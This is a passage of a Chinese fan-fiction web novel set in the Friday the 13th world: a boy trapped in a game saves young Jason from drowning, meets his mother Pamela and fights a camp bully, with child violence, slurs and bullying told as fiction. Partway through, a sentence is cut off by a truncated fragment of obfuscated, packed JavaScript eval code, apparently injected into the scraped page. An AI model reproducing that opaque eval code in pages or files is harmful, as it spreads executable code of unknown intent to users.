“天哪!上帝啊......” “快——快走!” 前方远处有个木头码头,旁边停靠了几艘帆船。此时,咯吱声响不停,一群小孩你拥我挤,推搡着从木码头跑进桦树林。远远瞧去,好似有蜂群在他们身后追赶。有人跌倒,又急忙爬起来,一瘸一拐跟上跑远的同伴。 很快,除了在水面漂浮、时而上下晃动的帆船,木头码头重归于寂静。没有人影,也没有蜂群。 但一定有事发生。汤姆笃信这点,并决心探探码头。说不定是游戏给出的线索呢? 汤姆穿越柏树,朝码头走去。他并不是大意马虎的人,又历经几次失败,他谨慎地抱起一块棱角分明的石头,藏在草丛与灌木中,一点点靠近。 码头遮住小片湖,汤姆的走进,如同一只手拨开云层,露出躲在码头后的部分——是一个挣扎的人。他背对汤姆,只露出两只手和头,犹如只蜻蜓在水里浮浮沉沉。从四溅的水花缝隙,汤姆看出这个身影属于个孩子。 汤姆登时跑起来。四肢用笨拙不适的姿态提醒他,自己现在也是个小孩,而且不会游泳。所以当泥地消失,汤姆只能在岸边停下,对着湖泊发愁。他尝试向溺水小孩走去,却才走了几步,小腿淹没在水中。他穿的棕色短裤底全湿了,尽管是夏日,但当白色的浪花飞溅大腿,汤姆还是忍不住哆嗦。而他们的距离仍旧令人心口发慌。 还有什么别的办法。汤姆左右张望。帆船随着流水轻轻碰上汤姆,汤姆惊呼出声,一屁股跌坐水里,水珠飞洒在头发,从脸颊滑落。水光却不比汤姆眼眸亮——他看到了帆船里的桨杆。 这可是个好家伙!汤姆捡起桨杆,跑上码头,直到尽头才停下。这里最靠近小孩。 他肘臂夹紧码头旁的栏杆,身体前倾,边递出桨杆,边大喊:“抓住它!快!”几丛芦苇贴着脸颊,汤姆顾不上痒意,“伸手啊。” 那孩子却在湖里起起落落,几次伸手,都和桨杆擦手而过。他似乎头晕辨不清方向。汤姆咬咬牙,把桨杆卡在木头缝里,握着长柄那端跳进湖泊。他才拉住小孩,对方下意识四肢紧紧抱上来,冷冽潮湿的水汽随之而来。背上仿佛负担了个渗水的铁桶,沾水的掌心覆上杆,滑不溜秋的,险些滑落。这一切都让汤姆移动得艰难,苦中作乐地心想:“怪不得乌龟爬那么慢,这感觉糟糕透顶。” 当汤姆气喘吁吁碰到码头,却发现自己无论如何也无法在背着人时爬上去。他只好抓着木头一点点移动到岸边。幸好码头不长,很快地,汤姆将小孩带到安全的地方。 小孩失去意识,只有求生的本能,让他抓紧一切。个虽小但力气不少。汤姆费了点时间,才挣脱拥抱,将人仰面朝天放在地上。那张畸形的脸跃进眼底,汤姆一时之间愣在原地。 “杰森......”他喃喃道。 是的,他早该想到会是杰森。前几轮游戏中,不就多次提到过杰森十岁死于溺水,母亲沃赫斯为了给儿子复仇,屠杀了整个夏令营。难道......这次的杀人狂是沃赫斯?那他应该放任杰森死去?这会算他杀了杰森吗? 汤姆看着这个纤细、瘦弱,个头矮小的老对手。即使空气留有夕阳的温暖,他依旧浑身发冷,湿答答的衣服黏附皮肤,更让他心头沉重。他还不知道应该怎么办,脑海却自然浮现另一种可能: 如果救了杰森,杰森能够像一个普通人生活,之后会发生什么?沃赫斯还会疯狂吗?没有复活,杰森还会成为怪物吗? 这个想法犹如影子紧随汤姆,他不得不承认比起冷眼旁观杰森身亡,他更愿意救下杰森,面对一个活着的还是小孩的杰森。 打定主意后,汤姆不再犹豫,探知到杰森心跳微弱,立刻给他做心肺复苏。数着数按压胸膛,两指抬起下巴,冲杰森嘴巴吹两口气,继续按压胸膛,吹气。没重复几次,杰森哇的吐出一口水,清醒过来。 “杰森。还好吗?”汤姆问。杰森吐出积水后,脑袋栽倒回地,一动不动。双眼无神,只是空洞地睁着,看上去没比他昏迷不醒时好到哪里去。“能听得到我的声音吗?” 杰森瞳孔慢慢聚焦,先停顿在面前男孩的嘴唇,看了一眼,他立马移开视线。因为他回想起来刚才发生的一切,胆怯和汤姆对视。却让目光落到前方的绿湖,杰森顿时手指紧扣泥地,喘息不已。他恐惧水。落水后在死亡边缘徘徊的经历还历历在目。 “你是在发抖吗?”汤姆有些惊讶地蹲下身,触碰杰森手臂,颤动感传到掌心。“还真的是发抖。” 这种惊诧又好奇的语气,杰森从很多初见他的小孩那里听过。待他们好好看上几眼,新奇感便会消失,取而代之的是厌恶和嘲讽。杰森僵硬地转过头,这个救了他的男孩也会这样吗? 突然升起的惶恐席卷了杰森,叫他忍着害怕,装作对余光里的湖泊视而不见,对汤姆直比画。见黑发男孩睁圆眼睛 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杰森自醒来后,怯懦、木然又瑟瑟缩缩。若不是形状丑陋的脑袋,汤姆完全无法与之后令人闻风丧胆的杀人狂联系起来。看着这个缩头缩脑的小孩,他愈发好奇杰森如果好好活下去会变成什么样。 杰森眼睛一下迸出亮光,力气充盈两腿,身形稳当不少。他开始带路,穿过无人的树林,然后是一篇开阔平坦的绿地,立着好几栋砌着木头和石块的屋子。小孩们三两聚在草坪玩耍。大部分冷淡扫了眼杰森和汤姆,便埋头和同伴窃窃私语,少数几个很明显松了口气,庆幸又喜悦的神色和其他孩子的冷淡格格不入。汤姆知道他们就是从码头跑开的孩子们。 杰森的溺水恐怕和他们脱不了干系。汤姆大胆猜测,小声向杰森求证:“杰森,你看看那几个在屋檐下的小孩。”他朝孩子们方向瞥去,那几个小孩在杰森跟着看过来时,几乎把心虚写在脸上。“你是被他们推下去的吗?” 汤姆吐息一丝不落地吹拂过耳朵那块。杰森不由自主想到先前匆匆一瞥的嘴唇,耳根通红。他手微微一动,然后张了张嘴唇,陷入沉默。 杰森这一连串动作背后的顾虑,汤姆看出来了。“如果我猜的是对的,你就点点头。”他说。 杰森连连点头。后脑勺寥寥无几的头发丝,因为少干得快,此刻顺着动作上下晃荡。 汤姆听到小孩笑声,心想:不会在笑他吧?汤姆知道自己现在有多狼狈,浑身湿透了,跟只落水后蓬松毛发全滑溜溜地黏住身体的小狗没什么差别。 笑笑笑!有什么好笑的! 汤姆凶狠地看过去,那小孩吓了一跳,脑袋后仰跌在地上。动静不小,吸引了所有孩子们的注意力,嘻哈的对象一下子变成了这个摔得四脚朝天的小孩。 没了孩童天真但恶意不减的视线,杰森行走速度更快了。风呼呼刮过衣摆,汤姆打了个喷嚏,冷意一下子全涌上来。“杰森快到了吗?” 杰森刚要点头。“哦,杰森!”突然出现的女人抱住了他。 35.十三号星期五12 “天哪,我的宝贝——”女人抚摸杰森,在衣衫上感受到残存的水渍,脸色变得死白,“你下水了?浑身都湿透了!上帝啊——快,进屋去,拿件衣服换上。” 她推了推杰森的肩膀,催促杰森进屋。夏日一到晚上,水晶湖格外湿润,悬浮着潮湿水汽。杰森一身短袖短裤,四肢露在宽松的衣袖裤管外。 恐怕冷极了!她似乎嗅到了孩子衣褶兜住的凉意。 “呃呃,”杰森磕磕巴巴,试图安抚焦虑的女人。喉咙里滚出无意义的音,干涩而怪异,像风吹过枯木的嘶哑。 汤姆侧耳倾听。到杰森第三次重复某个音节时,他才辨析出话音—— “妈妈。” 这证实了汤姆对女人身份的猜测—— 她便是杰森的母亲,帕米拉·沃赫斯,一个在之后会因杰森死去而屠杀营地的女人。 女人对杰森的关心肉眼可见,得出这个结论并不困难。但是真正从杰森口中得到证实,汤姆还是没能顺利掩饰他的惊讶。 余光保持对陌生朋友关注的杰森,畸形面容覆上血红。那是一种因自身不完美而羞愧的自卑情绪。于是,他的声音愈加轻飘,呼唤的尾音几乎被他吞进咽喉。 嗓音微乎其微,脆弱、细小,稍不注意就从耳边掠过。帕米拉·沃赫斯眉尖皱得更高,怎么看杰森都像只刚遭遇撕咬的幼兽,垂头丧气地朝母亲呜咽。 帕米拉·沃赫斯道:“宝贝,风很冷,不是吗?瞧你都发抖了。快进屋吧。” 她放在杰森肩上的手,带着一股向着的木屋温柔推力。半开的窗户透出融融的暖光,本该吸引着落水而战战兢兢的幼孩。 杰森没有离开。鞋底浑似黏了胶,沾着泥的布靴固执踩在草地。他怯生生拉扯女人衣袖。 帕米拉·沃赫斯为儿子面对她的忐忑而又惊又怒。“宝贝......”她疑心杰森受到非同寻常的欺辱,这才对亲爱孺慕的母亲显出不安神色。光是想到这种可能,怒意灼烧着帕米拉心脏,胸膛跳动的韵律仿佛恶魔低语,蛊惑她去向欺负杰森的人讨回代价。 残存的理智叫帕米拉面上依旧笑得温柔。“告诉我,有什么话,让你不能给自己换身干净衣服再说。我很好奇,你宁愿冒着生病的风险,也要先让我知道的事。” 杰森立刻朝母亲比划。 当听到杰森被推下水,愤怒蹿上帕米拉的头顶。她艰难地保持和善的微笑,不愿吓到孩子,心里已经决定:非要让那些害她儿子落水的凶手付出代价。 然而,杰森接下来说的话,犹如冷水泼来,将几乎燃尽帕米拉理智的火苗熄灭。她的神色随着杰森的手势几经变化,惊疑不定地瞟了汤姆好几眼。 或许过于诧异,帕米拉目光不加任何遮掩,直白地看来。汤姆轻易察觉出来,马上猜到这是因为杰森讲述事情经过时,提到了他。 然而,汤姆不知道的是:一见他这个救命恩人就心生好感的杰森,由于担忧新认识的小伙伴得不到母亲认可,他不光是一眨不眨地盯着母亲,好叫母亲感知到他的诚恳,诉说中,也不自觉夸大汤姆救人的英勇。 这给帕米拉·沃赫斯带来一点苦恼:她险些要不认识手语了。 杰森一提到汤姆,话锋陡然转变,从恶童欺凌忽然变成了甜美的睡前童话。从杰森的表述,帕米拉勾勒出一个身姿矫健的骑士形象。他从天光明媚但遥远的岸边骤然出现,瞧见水里挣扎的小可怜,丝毫没犹豫,坚定地跳进湖泊,不畏万难救出了险要溺水的杰森。 幸好汤姆不懂手语,否则他说什么都不会一脸镇定,从容地站在旁边,早就五官惊恐地握住杰森胡言乱语的手。 “天哪,这可真是惊险!上帝保佑,你能平安无事。”帕米拉喃喃道,不住地在胸前画十字,然后看向汤姆,这个一开始便站立在旁的漂亮小家伙。 倘若不是杰森顶着满身皱巴巴的衣服,狼狈地出现在一个母亲面前,叫帕米拉只顾询问杰森,寻常情况下,她无论如何也忽略不了汤姆这样的小孩。 “太感谢你了,你真是个英勇的小骑士。”帕米拉搂住汤姆,亲了亲汤姆的脸蛋。她后怕不已,不禁庆幸汤姆的施救,万一杰森真的出了意外,帕米拉不敢想象自己会做出什么事。她看汤姆哪哪都顺眼,嗓音更温柔,“你叫什么名字?小宝贝。” “我是汤姆。”汤姆说,不太自在地动了动。 帕米拉·沃赫斯屠杀了夏令营,而看起来瘦弱的小男孩日后会成为杀人狂魔。双手沾满血腥的两人却像寻常母子一样互动,一个温和知性,一个怯懦瘦削,完全看不出日后的残忍冷酷。 帕米拉松开怀抱,“好的,汤姆,”两手分别放在汤姆和杰森肩膀上,“快进屋去,里面暖和。不介意的话,可以先穿杰森的衣服。有些旧,”她面含歉意,“不过没有比这更合适的。” 汤姆摆手谢道:“没关系,夫人。本来就是我打扰了,您给我件衣服,已经是再好不过的帮助。” 帕米拉掌心热度与晚风截然不同,汤姆加快脚步躲开。杰森赶忙跟上,亦步亦趋得像只小狗。 瞧见杰森难得露出的活泼模样,帕米拉·沃赫斯不免感到高兴,笑容温和地看着两个孩子的背影。 她对汤姆印象很好。除了出色、惹人喜爱的脸蛋,这位看着格外秀气的小朋友,还保持着一颗纯真稚嫩的心,竟对她的儿子没有一丝嫌弃鄙夷。 要知道,凡是见过杰森的水晶湖居民都表示,魔鬼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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杰森摸着自己的嘴唇,非人的面孔上,两只眼珠盯住汤姆。月牙状的眼皮包裹眼球,浅薄的一层皮肤,光滑如蛋壳,没有毛发。 汤姆一下子心里有些发毛,猛地将被子罩住杰森的头,无声地喘息几口,他镇静下来,面无表情道:“大半夜不睡觉,看我干嘛?快给我睡觉。” 夏天夜晚怎么也冷不到哪儿去。汤姆直接将杰森连同铺盖一同推到床侧,自己则转过身,背对杰森睡在另一侧。 他耳朵立起,听着身后的动静,深怕杰森滚回来。 僵持中,他渐渐睡着。 待汤姆传出平稳的呼吸,黑暗中一阵窸窸窣窣的衣物摩擦声响起。 第二天清晨,汤姆醒来,发现自己和杰森抱在一起。 36.十三号星期五13 汤姆推开杰森,从床上爬起来。“杰森!”他叫道。罪魁祸首陡然惊醒,眨两下眼睛,跟着坐起身。“你怎么在这边?” 和杰森睡同一个屋同一张床,是因为帕米拉夫人家只有两间卧室。他是个客人,怎好意思让主人家的儿子睡地上。昨晚入睡前,他和杰森分属两侧,中间的距离能再塞下几人,谁知道醒来是这个情况!汤姆清楚,他的睡姿规矩得很,问题肯定出在杰森身上。 他要干嘛?难道是想趁他熟睡勒死他?汤姆百思不得其解,质问出声:“挨着我做什么!” 汤姆在不高兴。意识到这点,杰森几乎便要窒息,赶忙比划着解释。汤姆眼睛里的戒备加重了。夏令营小孩们的目光比这更为恶劣冰冷,却别说穿透皮肤直击心灵,杰森甚至根本就无动于衷。然而汤姆轻飘飘的不含恶意的眼神,却宛如两道冰锥,轻易地刺入每一寸骨骼。他仿佛置身于冰天雪地,寒冷包裹,身体在晨光下直打哆嗦。 杰森不由往身上拢了拢被褥,目光不离汤姆。他还记得汤姆昨天看他的视线多么可亲可爱,一夜过去,汤姆变成只扎人的刺猬,对着他浑身竖起刺。更令人无措的是,叫汤姆不安的,似乎正是自己。 太冷了。杰森想要寻找,寻找昨天从汤姆这里感受到的温暖。不太灵光的脑子冒出个做法,他便去做了。 他凑上来,在汤姆还没意识到的时候,亲吻汤姆的唇。 下一秒,地面传来闷响。地板铺了块厚羊毛毯,连带薄被一起落地的扑通声依旧结实。 “你干什么?”汤姆尖叫着使劲擦唇,双眼大睁,惊讶高过怒火。他为什么这么做? 杰森灰溜溜地爬起来,双膝红肿,昭示着骨头碰撞响声的源头。他却察觉不到疼痛般,捂着汤姆推开他而碰到的地方,从肩膀小心地探出脑袋,飞速瞟了一眼汤姆,再瞟一眼。姿态畏畏缩缩,活像只小老鼠。仿佛汤姆稍微大声点,杰森就会打个激灵缩回脑袋。 “你——”汤姆满胸膛的诘问堵在喉咙,不上不下。他无论如何都无法把眼前的杰森和日后的杀人狂扯上关系。 他们完全是两个世界的人。若是杀人狂杰森,醒来看到他时,只会举起武器,疯狂地追杀他。哪里会带他回家,和他共进晚饭,睡一张床?也许这个杰森真的和游戏前几周目的杰森有本质上的不同—— 这也不是杰森可以抱他亲他的原因啊!汤姆继续恶狠狠地瞪视。 最后是帕米拉·沃赫斯夫人的呼唤平息这场无声的对峙。“快出来吃早饭了,两只小懒虫。” 人在屋檐下,汤姆收回不客气的视线,忽视杰森穿好衣服走出去。杰森默默跟在身后。汤姆察觉小尾巴,撇撇嘴,脸颊上的软肉抖了抖。他坐上餐桌,杰森挪动木椅靠近,椅脚与地面摩擦出尖声。汤姆不禁捂耳朵,杰森第一时间看到,然后变推为抱,使劲力气拥住椅背。椅子橡木做的,实心,和他差不多高。杰森走起路来,身形晃荡,看得人心惊胆战。汤姆只好跳下凳子帮杰森。在厨房的帕米拉笑弯了眼。 待两个小孩用完早餐,帕米拉·沃赫斯夫人早已出门。她是营地厨师,负责参加夏令营孩童的三餐。也多亏这个身份,杰森能成为水晶湖夏令营学员,不离开帕米拉的视线。 两个小孩结伴出门。清晨的日光穿透林间,尘埃悬浮,犹如雾气般翻飞。沿着小路往前走,一湾湛蓝的湖泊出现在尽头,湖边拴着几条船。绿荫地平坦,几座木与砖砌成的平顶屋零星分布。风声将孩子们的嬉笑声从屋内吹出。 两人刚踏进教室,一道尖细的童高高盖过所有的声响:“哟,大家看呀!小怪物回来了。” 笑声顿时要掀飞了屋顶。孩子们翘着椅子,大力抽打木桌。砰砰啪啪的噪音吵得汤姆眉头直皱。杰森掀起眼皮,抬起的目光直勾勾打向作声的男孩。 罩在怪物般冷湿丑陋的视线下,男孩冷不丁打了个抖,从板凳上跳起,“呀——” 周围跟着响起七嘴八舌的诧异声。“凯怎么了,怎么站起来了?”“总不会是被吓到了吧。”“哈可能吗!他应该是想教训杰森。” 男孩凯下意识地挺起胸膛,瞪着杰森:“不长教训的小杂种,还敢这么看人。真可惜,昨天那淌水没叫你见着上帝——哦不对,你这样丑陋的家伙,应该是去地狱才对。” 汤姆不适地皱起眉,感觉拳头发痒。他转过头,看到杰森无动于衷的侧脸。能让杰森放心上的事很少,男孩和他的话显然不在其中。 “瞧你这见鬼的模样,你那婊子妈妈怕不是叫魔鬼骑了才啊——” 凯惨叫着,身体往后仰,绊倒板凳,哐当跌在地上。惊呼声四起。凯身旁的孩子们反应快,连椅带人朝远离汤姆的一侧挤。汤姆笑着揉手腕,全然看不出他揍了人。 水晶湖夏令营孩子们年龄并不相同,男孩们有还在哭哭啼啼尿裤子的小屁孩,也有大到像凯这样已经开始有模有样地搭讪女人的混球。凯十六岁,外号“公牛”。一是他壮得像头牛,性子急躁。还有个原因,他见了漂亮女孩就像牛看到红布,只知道铆足劲地追逐去了。他自居是这里的老大,所有不如他壮、高的男孩子都听他使唤。 汤姆居然把凯给揍了!他个头只勉强够到凯的胸膛,连揍人都是跳起来,才将拳头送到凯的脸上。 孩子们嘴巴叽喳,顾不上吃饭。矮个子男孩居然揍了公牛!木屋像巨大的麻雀窝,窃窃私语声不停。 凯爬起身,一脚踢开倒在地上的木凳,环视四周,一个个小孩在他的目光下纷纷噤声。他最后看向汤姆。“你,你打我。”他指着汤姆的手哆哆嗦嗦直打颤。“你敢打我。你个小杂种居然敢打我!” 杰森往前一步,挡在汤姆前面,嘴巴发出不成调的嘶吼。“啊……啊……” 他给汤姆留下光秃秃的后脑勺。汤姆看得恍惚:杰森这是想保护他? 凯面露嘲笑。“哟,你个毛都没长齐的小子想当大英雄?好啊,”他恶劣地说,“等我拔光你的毛,你可别哭着回去找妈妈,让那贱人替你出头。” 汤姆一把拨开杰森。他用的力气不大,杰森没有迟疑,顺着汤姆乖乖站到侧边。“小孩子还是少说粗话,免得被揍屁股哦。”汤姆说。 凯不屑一顾地扯嘴唇。“你算个什么东西。”若换成杰森来威胁,看在他丑陋骇人活像七层地狱爬出来的恶魔脸上,凯都会有所顾忌,叫上几个跟班再嚣张。换成汤姆,他秀气如姑娘面庞与矮个头,凯冷笑着觉得一个拳头就能揍得他哭爹喊娘。 “杂种,”他一字一句地重复,“你个臭杂种。”他注意到汤姆迥然自己的五官特征,脑海闪过灵光,一句黄皮狗便骂出来。 汤姆可亲的笑容顿住了。凯备受激励,“瞧瞧,我们的小怪物带回来个黄皮狗。”他犹如牙牙学语的小孩揪住刚学的新词,扫视木屋,不停向他人炫耀,“怪物和狗不就是绝配吗?” 凯的跟班们哄笑起来。能和凯走在一起,这群男孩的调皮程度丝毫不逊色。他们故意大声应和,虚假的欢声笑语充斥木屋。 汤姆深吸一口气。他很少会觉得拳头痒。这群不知善恶的小恶棍!越生气,汤姆笑得越灿烂:“好吧,口无遮拦的混蛋,看来你已经迫不及待想要体验被打屁股的快乐了。” 凯轻蔑地看着汤姆挽起袖子。“刚才大意,叫你偷袭成功,你以为你是什么东西?还能朝我——” 话音化成惊呼。汤姆速度极快,身姿灵猫一般轻快,眨眼间蹿到他面前,伸腿踢来。凯是被吓得往后跳,才躲开攻击。 “哦。天哪。”孩子们大声地惊呼,更用力地拍桌。调皮的孩子还煽风点火地呐喊: “认真点呀!你倒是还手,揍上去啊!” “可别谦让了,给他个教训。” “什么时候这么大度了凯?你可看清楚了,他可不是小姑娘。” “闭嘴。”凯转头凶了句。顿时安静下来的餐桌,让他找回了几分颜面。但一看到汤姆,凯就想起刚才的狼狈。他气恼丢了脸,抡起拳头向汤姆奔来。“该死的小杂种!我必须得叫你吃顿拳头。” 汤姆的身体变小,被杰森追杀出来的逃命经验可没消失。要是连个小屁孩也揍不过,他愧对飞船警卫队队长的特训。几个轻巧的动作,汤姆便躲过拳头,叫凯蓄满力道的攻击全打到空气。凯的双目越来越红。他推开一个木椅上的男孩,拎起木椅的一条腿,冲汤姆怒吼着砸来。 汤姆旋身跳开,椅子落到脚边。他右侧还有个因凯之前泄愤一踢而缺了角的板凳。他伸腿勾起凳子甩向凯。凯庞大的个头让汤姆无需纠结准头。砸中凯的小腿后,他又勾起另一个板凳甩去。 “啊!”凯捂着脑袋倒地,有什么东西从指缝中流出来,手指濡湿粘稠,他看向手,惊得头皮缩成指甲大,冷意灌入头盖骨。“血!是血!” 凯以为自己要死了!他惊恐地看着汤姆。汤姆往前走一步,他就往后爬。“你别过来!”他吼道,血痕如蛛网蜿蜒着纵贯面庞。 汤姆没把凯的虚张声势看在眼底。他踩着凯的屁股,将人的脑袋按在板凳上。“我向来是个说话算话的好人。”他拍拍凯的头,“你现在安分点,当个好孩子,我就温柔地揍你。” 汤姆看着小小一个,力气不小。凯的脸宛如树皮贴在木头上。巨大的羞辱感从屁股和面庞传来,凯悲愤欲绝。“好你他妈的人。放开我!”他大喊,“放开——” 汤姆用拳头砸他头。凯一有爬起来的趋势,汤姆就猛击他的脑袋。凯只感觉大脑噗噗喷血,整个人晕头转向。 会死的,真的会死的!死亡的阴影覆盖住凯,他每一寸皮肤爬满鸡皮疙瘩,呜咽着躺在地上,头靠木凳,彻底说不出话。 餐桌上的食物还发着热气。烤面包、黄油、水果,个个气味喷香。没有一个孩子吃。已经没有人记得这是个早餐时间,注意力都被陌生男孩吸引。 汤姆扫视周围。他的视线落到谁身上,谁就颤巍巍发抖,然后像水泊扩散出一片动荡的波纹。只有杰森凑过来。孩子们当即嘀咕,不愧是小怪物。汤姆脸庞带笑,揍凯的拳头却是那么狠,通红的手背上,全是凯的血。太可怕了!孩子们畏惧地看向场中央。 杰森无视凯几欲喷火的怒视,两手径直朝他的肩膀上按去,眼巴巴地看着汤姆。汤姆夸了句不错后,他两眼发亮。 这更刺激凯的神经。往日里只配在脚边乞饶的怪物,如今找到主人,腰板直了,成为讨好卖乖的狗,对他显摆威风,拿他来取悦主人。真是该死! 汤姆示意杰森把桌面上的长条面包递过来。他单手抓住小孩的手腕,利落拧在他背后,另一只手接过长面包往男孩屁股上抽去。咻咻几声,男孩弓背欲跳起来,被汤姆死死压制住,在地面上蚯蚓似的扭来扭去。 该死的小屁孩!和杰森一样,都是个怪物!凯尖叫着想骂人,却当真是怕极了汤姆。他目光求救地望向小弟们。但眼看最强壮的凯都讨不了好,其他人哪里敢出头,全都闪躲地低头。 面包虽然硬,但打起人来并不疼,可被当众用食物来揍屁股的屈辱感足以把凯给击倒。凯面庞肌肉猛烈抽搐,接着,他眼睛一酸,痛哭流涕起来。 汤姆停下来。“知错不?还敢欺负人吗?” 硬面包尖抵着凯的臀。凯吸吸鼻涕,绝望又屈辱地说:“不、不敢了。” 汤姆没管他说的是否是谎话。倘若再犯,继续揍他就是。他浅浅一笑,松开手,凯立马连滚带爬地离开汤姆。他跑得仓猝,还在地上绊了一跤,捂着屁股起身的时候,餐桌的笑声令他难堪地加快脚步,摔门而出。 此时离大家的早餐结束还有点时间。小孩们面面厮觑后,拿起勺子刀叉,小口地吃,余光都不约而同打量汤姆。他们看到这个陌生小孩和被冠以怪物之名的杰森举止亲熟稔。杰森拽拽汤姆衣袖,两手打出他们看不懂的手势。 汤姆眨着眼睛,同样茫然。他决定将学习手语纳入计划,总看不懂杰森说的话不是个办法。幸好杰森担忧的小眼神很直白,不像以后大块头时期,戴着个曲棍帽,看不清真面目,更别提神色。 不对,这样才更诡异了啊。杰森担心他?“你......怕那人会伤害我?”汤姆迟疑地出声。 杰森点点头。汤姆一下子沉默。杰森的担心真心实意,让人不知道该做什么反应。进入木屋后发生的一切在脑海里浮现:杰森挡在前面的身影,递来面包的手......汤姆终于承认,自己对杰森有偏见。他先见着了杀人狂杰森,还因此死了好几次,见到杀人狂小时候,大杰森留下的恐怖印象如影随形。他潜意识认为:大杰森是个变态,坏坯子。小杰森肯定好不到哪儿去!现在可怜兮兮,心里说不定在藏坏!是个小坏坯子。 然而,倘若没了先入为主的印象,汤姆发觉,杰森就是个被欺负还不知道反抗的小傻子。众多心绪在汤姆的心中翻来倒去,杰森得不到汤姆回复,神情更担心了,他无师自通地上手,准备掀开汤姆的衣袖。 汤姆拍开衣衫上多出的手,“你做什么!”怎么扒人衣服! 若不是汤姆确信杰森脑子里没那根筋,巴掌扇得就不是手,而是杰森的脸了。“行了行了,我没事。”他安抚地拍拍杰森的肩膀,正要这么算了,清晨一触及分的吻闪现脑海。汤姆罕见地不确定自己看人的眼光。杰森......真的不是个小色批吗? 大杰森杀的人里,情侣没有上百,也有几十。汤姆还记得游戏简介戏称他为扫黄大队队长。所以,杰森真的脑子里没有色色吗?他该不会是小杰森有问题嫉妒......汤姆严肃着脸,压低嗓音,毕竟周围还有群小孩,他丢不开脸面。“下次不准扒我衣服,也不准亲我。” 杰森神情懵懵懂懂,汤姆怀疑杰森没听明白,“就像今早,你把嘴唇贴过来......” 杰森张开嘴巴,表示恍然大悟,脑袋却摇了摇。汤姆眉毛一抬,“你摇头?”他抬高音量,厉声强调,“说了不准就不准。给我点头!听到没!” 命令般的语气颇为奏效,他看到杰森点头,同时,也看到了一群转过头来的稚气面庞,好奇的眼神闪闪发光,亮得汤姆觉得他们听到了对话,感到几分不自在。 对于这种情况,汤姆有自己独特的解决方式:谁让他不自在,他就让谁不自在。于是,目光四顾,一瞬间,数个圆乎乎的脑袋齐齐低下。所有人都埋头与早餐较劲,唯有几个小孩慢半拍,和汤姆对视上,后知后觉低头。他们中间空了几个位置。 这不就巧了。汤姆心想,拉着杰森在空位落座。他注意到两侧的孩子瞬间僵硬的动作。别人不知所措,汤姆就从容了。他欣赏了会孩子们战战兢兢的鹌鹑样,才缓缓开口,声音柔和得不可思议:“刚才没有吓到你们吧?” 孩子们抬头,看到汤姆小心翼翼地扯出一抹笑,“凯是那么高那么壮,生起气来非常恐怖,我好害怕啊,连自己在做什么都不知道......” 杰森马上用力握住汤姆的手,他似乎有话要说,但张了张嘴巴,天生残破的喉咙吐不出一句话。汤姆拍了拍这个率先被他糊弄住的小傻子的手背,继续说: “我没想到伤害了凯。这是我的错,不过我不后悔,我只担心吓到你们。幸好,你们没事,不然,我真会羞愧的。” 他闪烁着内疚情绪的面庞是那么迷人!电视上因爱人死去而痛哭的漂亮女主角也是这么痛苦吧!孩子们快沉溺在那双柔情可爱的眼睛里,迷迷糊糊地想:都是凯太过分了!汤姆也是为了保护自己。 等早餐结束,坐在汤姆旁边的几个孩子已经忘却害怕,反倒发自内心认为都是凯的错,汤姆都是被逼无奈。去草坪上射箭课程时,他们泱泱围在汤姆身边,杰森亦步亦趋。射箭课老师远远瞧见,幻视是星星在簇拥着月亮。 要是孩子们知道他的想法,他们也会发自内心地认可:汤姆的皮肤有月光的白净,眼睛亮得像住了轮圆月,说起话来,也有月亮清清冷冷惹人心疼的感觉。可不就是个小月亮。 课程上了一半,老师有事,让大家自由休息,临走前收了所有人的弓箭。小孩们埋怨了几句,很快便陷入在草坪嬉闹的快乐中。又过了十来分钟,额头缠绕了纱布的凯闯进来,一男一女紧随他身后。两个成年人紧绷着脸,一副压抑怒火的模样。毕竟平日里夏令营都是些摩擦小矛盾,可这次凯头破血流!谁这么狠心! 杰森默不作声站在汤姆前边。一个小孩悄悄对汤姆嘀咕:“天哪——他真混蛋,他去叫了苏珊和赖恩。”另一个小孩接着说:“他之前打人,威胁我们不准找苏珊、赖恩,结果......哼!” 水晶湖营地只有两位辅导员,苏珊和赖恩。两人二十来岁,年轻,工作又朝夕相处,自然陷入爱河。恋爱中的男女时刻按捺不住亲近的心。早饭时他们躲在一个小房间里亲热,谁知道居然出了凯这种事! 凯环顾四周,诧异地见杰森在一群孩子中间。杰森往日都是形单形只,专门缩在角落。凯眯起眼睛。杰森和汤姆身形相仿。为遮掩汤姆,杰森踮起脚,张开双臂。 蠢货!凯嗤笑着大手一指,“他在那儿。那小怪物身后,去去去。”他挥起拳头,小孩们鸟雀状散开,石头般杵在地上的杰森被凯一把推开。 凯兴奋又饱含恶意地注视汤姆。汤姆小脸蛋的红润一扫而空,神情惶惶地扫了眼避开的孩子们。孩子们再次低下头,这回是愧疚作祟。 凯认定汤姆在害怕。“就是他打了我。”他说,没注意到汤姆出现后,两名辅导员瞬间犹豫的神情。 杰森很快爬起来,并肩站在汤姆身侧。两个十岁的小孩,公牛般壮硕的凯衬得他们身形更显瘦小。赖恩皱眉,这两个小不点伤了凯?开什么玩笑。 凯自觉有了人撑腰,此刻耀武扬威。杰森不由想到十几分钟前,他还在汤姆拳头下哭得像个孩子。杰森无比肯定那副表情更适合凯。那股被凯轻易推倒的无力在心口燃烧,凯张扬的神情犹如热油,促使火烧旺。一种美妙又骇人的冲动流淌杰森的全身。他愈想付诸实践,就愈发感受到枯瘦身躯给人的限制,他握紧拳头,绷紧的肌肉却令双臂无法承受地打颤。 汤姆离得近,感受到杰森细胳膊在发抖。毕竟还是个孩子啊。他想着,握住杰森的手。霎时间,杰森浑身一僵,不再颤抖,全身心的感官都集中在手上,一遍遍感受着牛奶般的细腻触感。 “你是说,他揍了你,一个人?”苏珊问,心底的天平已经向汤姆倾倒。她怜惜地看着不知所措、拉着同伴手的小男孩。凯要不要看自己在说什么?这孩子才多大。 凯瞪着汤姆。“是的——哎哎。”耳朵却被人揪起,他哎哟哎哟叫唤。 赖恩不耐烦地扯着凯的耳朵,将人拽到身边,才转头看向汤姆,沉声问:“你呢?小孩,你怎么解释?” “他说,全是我干的吗。”汤姆黑眼睛全是不敢置信,接着小脸惨白,双目噙着泪珠,说:“对,对不起,确实是我干的......是我把凯打成这副模样。” 凯这才发现不对劲。汤姆顶着弱不禁风的样子说出揍了他这句话,多么违和!又多么可笑!凯听到窸窸窣窣的笑声,满脸涨得 